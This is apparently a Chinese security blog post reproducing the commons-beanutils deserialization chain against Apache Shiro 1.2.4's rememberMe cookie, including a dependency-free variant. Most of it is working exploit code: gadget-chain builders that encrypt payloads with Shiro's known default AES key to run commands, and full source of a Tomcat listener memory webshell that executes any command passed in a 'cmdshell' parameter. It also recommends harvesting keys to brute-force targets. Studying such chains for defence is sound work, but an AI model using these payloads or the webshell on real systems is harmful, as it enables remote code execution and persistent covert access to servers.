V2AS问路
从commons-beanutils反序列化到shiro无依赖的漏洞利用
阅读原文时间：2021年10月13日阅读：1

目录

0 前言

其实shiro的反序列化过程看过，原理也理解，就是没空复现一遍，正好学习ysoserial序列化系列学习之一Commons-Beanutils，复现一下shiro无其它依赖的命令执行。

1 环境

jdk 1.8u40

commons-beanutils

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>

javassist

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.21.0-GA</version>
</dependency>

shiro: https://github.com/phith0n/JavaThings/tree/master/shirodemo

shiro版本：1.2.4

2 commons-beanutils反序列化链

先上代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils {
    // 修改值的方法，简化代码
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    public static void main(String[] args) throws Exception {
        // 创建恶意类，用于报错抛出调用链
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
//        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 创建序列化对象
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        out.writeObject(queue);
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
        in.readObject();

    }
}

这里就不详细展开了，前面的文章里面有详细的描述：https://www.cnblogs.com/bitterz/p/15263152.html#倒序分析

大致的调用链是：

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

实际的操作是TemplatesImpl对象中的_bytecodes数组中的字节码，会被遍历并使用ClassLoader#defineClass加载到jvm中，而后返回一个类对象，并被调用无参构造方法，我们的payload在无参构造方法里插入了恶意代码，从而实现RCE。

执行前面的代码后，看到如下调用链：

at EvilClass.<clinit>(EvilClass.java)
...不重要，省略
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at java.lang.Class.newInstance(Class.java:442)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:387)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:418)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:439)
...不重要，省略
at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
at org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(PropertyUtilsBean.java:1323)
at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:762)
at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
at org.apache.commons.beanutils.PropertyUtils.getProperty(PropertyUtils.java:426)
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:157)
at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
at java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
at java.util.PriorityQueue.heapify(PriorityQueue.java:736)
at java.util.PriorityQueue.readObject(PriorityQueue.java:795)

可见，字节码被反序列化时，PriorityQueue#readObject方法会被调用，代码如下

  • PriorityQueue#readObject

    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();
    // Read in (and discard) array length
    s.readInt();
    queue = new Object[size];
    // Read in all elements.
    for (int i = 0; i < size; i++)
    queue[i] = s.readObject();
    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
    }

其实没有什么特别的操作，跟进PriorityQueue#heapify即可

  • PriorityQueue#heapify

    private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
    siftDown(i, (E) queue[i]);
    }

此时i不重要，queue[i]=templates恶意对象，也没有太多可以说的点，因为priorityQueue对象中只保存了两个templates对象，所以继续跟进PriorityQueue#siftDown即可

  • PriorityQueue#siftDown

    private void siftDown(int k, E x) {
    if (comparator != null)
    siftDownUsingComparator(k, x);
    else
    siftDownComparable(k, x);
    }

此时x=templates恶意对象，这里很明显，由于priorityQueue对象创建时，我们传入了对应的comparator对象，所以comparator != null，进入PriorityQueue#siftDownUsingComparator

  • PriorityQueue#siftDownUsingComparator

    private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) // 由于if语句中使用and时，最短判断原则，当right>size时，不会执行这个compare
    c = queue[child = right];
    if (comparator.compare(x, (E) c) <= 0) // 这个compare方法一定会执行
    break;
    queue[k] = c;
    k = child;
    }
    queue[k] = x;
    }

此时x=templates恶意对象，到这里，实际上PriorityQueue的调用链就清晰了，主要是从readObject会执行到comparator.compare()方法，由于我们给定了PriorityQueue的comparator这个成员变量为BeanComparator，所以需要跟进BeanComparator.compare方法

直接看代码

  • BeanComparator#compare

    public int compare( Object o1, Object o2 ) {
    if ( property == null ) {
    // compare the actual objects
    return comparator.compare( o1, o2 );
    }

    try {
    Object value1 = PropertyUtils.getProperty( o1, property );
    Object value2 = PropertyUtils.getProperty( o2, property );
    return comparator.compare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
    throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
    throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
    throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}

    }

我们的代码中，反射修改了BeanComparator的property属性为"outputProperties"，即property="outputProperties"，所以进入try代码块，之前从PriorityQueue传进来的变量o1=templates恶意对象，而PropertyUtils.getProperty方法也比较简单，就是获取指定的属性，跟进一下

  • PropertyUtils#getProperty

    public static Object getProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
    return (PropertyUtilsBean.getInstance().getProperty(bean, name));

    }

注意此时bean=templates，name="outputProperties"，需要跟进PropertyUtilsBean#getProperty方法

  • PropertyUtilsBean#getProperty

    public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
    return (getNestedProperty(bean, name));
    }

此时bean=templates，name="outputProperties"，继续跟进

  • PropertyUtilsBean#getNestedProperty

    public Object getNestedProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {

    if (bean == null) {
    throw new IllegalArgumentException("No bean specified");
}
if (name == null) {
    throw new IllegalArgumentException("No name specified for bean class '" +
                                       bean.getClass() + "'");
}

// Resolve nested references
while (resolver.hasNested(name)) {
    // 不关键代码
}

if (bean instanceof Map) {
    bean = getPropertyOfMapBean((Map) bean, name);
} else if (resolver.isMapped(name)) {
    bean = getMappedProperty(bean, name);
} else if (resolver.isIndexed(name)) {
    bean = getIndexedProperty(bean, name);
} else {
    bean = getSimpleProperty(bean, name);
}
return bean;

    }

此时bean=templates，name="outputProperties"，要过while循环，判断语句中resolver是DefaultResolver类的实例，跟进其中的hasNested方法即可，比较简单就不贴代码了，返回值为false，所以不进入while循环，直接进入下面if else代码块，由于bean=templates所以if和else if判断都是false，进入else代码块，执行PropertyUtilsBean#getSimpleProperty

  • PropertyUtilsBean#getSimpleProperty

    public Object getSimpleProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {

    // 省略
// Handle DynaBean instances specially
if (bean instanceof DynaBean) {
    // 省略
}

// Retrieve the property getter method for the specified property
PropertyDescriptor descriptor = getPropertyDescriptor(bean, name);  // 关键点1和上方的注释
if (descriptor == null) {
    throw new NoSuchMethodException("Unknown property '" +
                                    name + "' on class '" + bean.getClass() + "'" );
}
Method readMethod = getReadMethod(bean.getClass(), descriptor);  // 关键点2
if (readMethod == null) {
    throw new NoSuchMethodException("Property '" + name +
                                    "' has no getter method in class '" + bean.getClass() + "'");
}

// Call the property getter and return the value
Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY); // 进入TemplatesImpl#getOutputProperties()调用链
return (value);

    }

这个方法中有三个关键点，第一个是调用getPropertyDescriptor方法获取属性的getter方法，从上面的英文注释就可以看到，当然具体代码也可以看到methodName="get"+name的操作。然后后getReadMethod方法获取TemplatesImpl#getOutputProperties这个method对象，然后进入invokeMethod方法，执行TemplatesImpl#getOutputProperties调用链，触发恶意代码。

3 Shiro无依赖paylaod

前面的commons-beanutils反序列化链看起来似乎只依赖了一个Commons-Beanutils依赖，但实际上打开org.apache.commons.beanutils.BeanComparator的源代码，看到里面存在：import org.apache.commons.collections.comparators.ComparableComparator;，而ComparableComparator来自于commons-collections。

这些依赖会导致一个问题，shiro必须使用Commons-Beanutils这个依赖，但不需要Commons-Collections，因为shiro只需要用到Commons-Beanutils中的一些类，不涉及Commons-Collections，因此前面的利用链会直接失效，我们需要对BeanComparator中的comparator属性修改为jdk自带的类，从而避免依赖问题。

shiro的反序列化漏洞原理就不详细展开了(其实也就是获取rememberMe字段的值，然后base64解码，再aes解码，然后执行readObject反序列化)，网上资料很多，我这里使用的环境来自于shirodemo，导入idea后，然后启动项目，在login.jsp页面勾选rememberMe，使用burp抓包，在cookie里面添加"rememberMe=payload;" ，注意分号;

获取payload的代码如下

package com.bitterz.stream;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutilsShiro {
    // 反射修改field，统一写成函数，方便阅读代码
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    // 获取攻击链序列化后的byte数组
    public static byte[] getPayload() throws Exception {
        // 创建恶意类，用于报错抛出调用链
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        // 看shiro调用链用这个
        // payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");

        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 创建序列化对象
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(queue);
        out.close();
        return byteArrayOutputStream.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        byte[] payloads = CommonsBeanutilsShiro.getPayload();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        // 为shiro 1.2.4默认密钥，详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性
        ByteSource ciphertext = aes.encrypt(payloads, key);
        // 由于继承关系，encrypt实际调用的是JcaCipherService#encrypt
        // 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类，其toString方法会自动对byte数组进行base64编码
        System.out.printf(ciphertext.toString());
    }
}

执行代码，获取shiro反序列化攻击的payload，如前面说的一样，加入到cookie中，发送payload

成功弹出计算器，但是我们修改pom.xml，注释掉commons-collections的依赖，然后重启项目，就会发现之前的payload会报错：

Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.

这里也就很明显触发了前面提到的问题，shiro一定依赖与commons-beanutils，但Web应用不一定依赖commons-collections，那么我们应该如何修正呢？

首先是BeanComparator的几个构造方法：

  • BeanComparator的构造方法

    public class BeanComparator implements Comparator, Serializable {
    private String property;
    private Comparator comparator;

    public BeanComparator() {  // 构造方法1
    this( null );
}

public BeanComparator( String property ) {  // 构造方法2
    this( property, ComparableComparator.getInstance() );
}

public BeanComparator( String property, Comparator comparator ) { // 构造方法3
    setProperty( property );
    if (comparator != null) {
        this.comparator = comparator;
    } else {
        this.comparator = ComparableComparator.getInstance();
    }
}

    }

可以看到，想要不使用ComparableComparator这个类，必须在构造方法3处给入comparator参数，由于comparator必须存在，但具体什么类型并不影响后面的调用链，所以给进去的这个类要满足三个条件即可：

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带，且兼容性强

这里直接用一下大佬给出的两个类：

  • String.CASE_INSENSITIVE_ORDER获取运行环境中的CaseInsensitiveComparator类
  • java.util.Collections$ReverseComparator

利用这两个类，对前面的代码稍加修改

package com.bitterz.stream;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Collections;

public class CommonsBeanutilsShiro {
    // 反射修改field，统一写成函数，方便阅读代码
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    // 获取攻击链序列化后的byte数组
    public static byte[] getPayload() throws Exception {
        // 创建恶意类，用于报错抛出调用链
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        // 看shiro调用链用这个
        // payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 创建序列化对象
        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);  // **修改点1**
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add("1");  // **修改点2**
        queue.add("1");

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(queue);
        out.close();
        return byteArrayOutputStream.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        byte[] payloads = CommonsBeanutilsShiro.getPayload();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        // 为shiro 1.2.4默认密钥，详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性
        ByteSource ciphertext = aes.encrypt(payloads, key);
        // 由于继承关系，encrypt实际调用的是JcaCipherService#encrypt
        // 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类，其toString方法会自动对byte数组进行base64编码
        System.out.printf(ciphertext.toString());
    }
}

修改后，在无commons-collections的情况下再来一次

成功弹出计算器！如果想看shiro反序列化利用链的完整调用栈，可以把代码中的恶意代码改一下，上面的代码中已经给出了，操作一下就出来了。

先看看这个类相关的源码

package java.util;
public class Collections{
    public static <T> Comparator<T> reverseOrder() {  // 直接调用这里
        return (Comparator<T>) ReverseComparator.REVERSE_ORDER;
    }

    private static class ReverseComparator implements Comparator<Comparable<Object>>, Serializable {
        static final ReverseComparator REVERSE_ORDER = new ReverseComparator();
    }
}

可以看到直接调用Collections#reverseOrder方法即可获得该类对象，因此对前面的payload稍加更改即可实现无依赖的shiro反序列化

//修改CommonsBeanutilsShiro类代码

BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());  // 修改一下这里就可以
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);

修改之后再打一次，成功弹计算器

4 总结

由于shiro反序列化需要用到AES加密，而该加密方法的密钥是加解密一致的，所以我们使用shiro反序列化时，AES加密的密钥必须跟服务器一致，所以经常需要盲猜服务器的密钥，好在java开发们一般都不会去修改它，而且常常直接copy论坛和github上的代码，所以可以大量收集各种密钥，然后遍历来完成反序列化漏洞利用。

好在也有很多可以直接上手用的扫描或利用工具，例如xray、https://github.com/feihong-cs/ShiroExploit-Deprecated、https://github.com/sv3nbeast/ShiroScan、https://github.com/j1anFen/shiro_attack

由于shiro作用于中间件的filter环节，所以servlet内存马在访问阶段就被shiro干掉了，不能用。因此必须写入filter内存马，并将其放在shiro的filter前面，以便访问和利用；另外，也可以写入listener内存马，不需要操心filter顺序问题，但可能会影响服务器性能。

这里以listener内存马实验一下，首先是listener内存马部分，编译的话，需要添加tomcat/lib目录下的jar包

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;

public class Add extends AbstractTranslet implements ServletRequestListener {
    String uri;
    String serverName;
    StandardContext standardContext;
    String pwd = "cmdshell";   // 内存马的密码

    public Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (NoSuchFieldException e){}
            catch (IllegalAccessException e){}
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public Add(String aaa){}

    public Add() {

        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {

            if (thread == null) {
                continue;
            }
            if (thread.getName().contains("exec")) {
                continue;
            }
            Object target = this.getField(thread, "target");
            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                continue;
            }

            if (object == null) {
                continue;
            }

            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();

                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)){continue;}
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                this.serverName = (String) getField(serverNameMB, "strValue");
                if (this.serverName == null){
                    this.serverName = serverNameMB.toString();
                }
                if (this.serverName == null){
                    this.serverName = serverNameMB.getString();
                }

                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                this.uri = (String) getField(uriMB, "strValue");
                if (this.uri == null){
                    this.uri = uriMB.toString();
                }
                if (this.uri == null){
                    this.uri = uriMB.getString();
                }

                this.getStandardContext();
            }
        }

        if (this.standardContext != null){
            try {
                Add addListener = new Add("aaa");
                standardContext.addApplicationEventListener(addListener);
            }catch (Exception e){e.printStackTrace();}
        }
    }

    public void getStandardContext() {
        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread == null) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {

                Object target = this.getField(thread, "target");
                HashMap children;
                Object jioEndPoint = null;
                try {
                    jioEndPoint = getField(target, "this$0");
                }catch (Exception e){}
                if (jioEndPoint == null){
                    try{
                        jioEndPoint = getField(target, "endpoint");
                    }catch (Exception e){ return; }
                }
                Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                StandardEngine engine = null;
                try {
                    engine = (StandardEngine) getField(service, "container");
                }catch (Exception e){}
                if (engine == null){
                    engine = (StandardEngine) getField(service, "engine");
                }

                children = (HashMap) getField(engine, "children");
                StandardHost standardHost;
                standardHost = (StandardHost) children.get(this.serverName);
                if(standardHost == null){
                    Iterator iterator = children.values().iterator();
                    while (iterator.hasNext()){
                        standardHost = (StandardHost) iterator.next();
                        if (standardHost.getName().equals(this.serverName)){
                            break;
                        }
                        if (standardHost.getName().equals("localhost")) {
                            break;
                        }
                    }
                }
                try{
                    children = (HashMap) getField(standardHost, "children");

                    Iterator iterator = children.keySet().iterator();
                    while (iterator.hasNext()){
                        String contextKey = (String) iterator.next();
                        if (!(this.uri.startsWith(contextKey))){continue;}
                        StandardContext standardContext = (StandardContext) children.get(contextKey);
                        this.standardContext = standardContext;
                    }
                }catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public void Add(String aaa){}

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        String cmdshell = sre.getServletRequest().getParameter(this.pwd);
        if (cmdshell != null) {
            try {
                Runtime.getRuntime().exec(cmdshell);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}

然后是构造shiro反序列化利用payload的部分

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import net.dongliu.commons.Sys;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Collections;

public class CommonsBeanutilsShiro {
    // 反射修改field，统一写成函数，方便阅读代码
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    // 获取攻击链序列化后的byte数组
    public static byte[] getPayload() throws Exception {

        // 创建恶意类，用于报错抛出调用链

        ClassPool pool = new ClassPool(true);
        pool.appendClassPath("C:\\Users\\helloworld\\Desktop\\java learn\\spring_mvc\\spring_mvc\\spring_mvc\\target\\classes\\");  // 前面Add类编译出来的Add.class的路径

        CtClass payload = pool.get("Add");

        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 创建序列化对象
//        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add("1");
        queue.add("1");

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out1 = new ObjectOutputStream(byteArrayOutputStream);
        out1.writeObject(queue);
        out1.close();
        return byteArrayOutputStream.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        byte[] payloads = CommonsBeanutilsShiro.getPayload();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        // 为shiro 1.2.4默认密钥，详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性
        ByteSource ciphertext = aes.encrypt(payloads, key);
        // 由于继承关系，encrypt实际调用的是JcaCipherService#encrypt
        // 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类，其toString方法会自动对byte数组进行base64编码
        System.out.printf(ciphertext.toString());
    }
}

执行CommonsBeanutilsShiro#main方法，获得payload，用burp发包，这里都比较简单就不截图了，来看看效果：

在/shirodemo/这个uri下，输入任意路径，加参数cmdshell，即可执行命令，由于shiro的作用，执行后又会自动跳到登录页面

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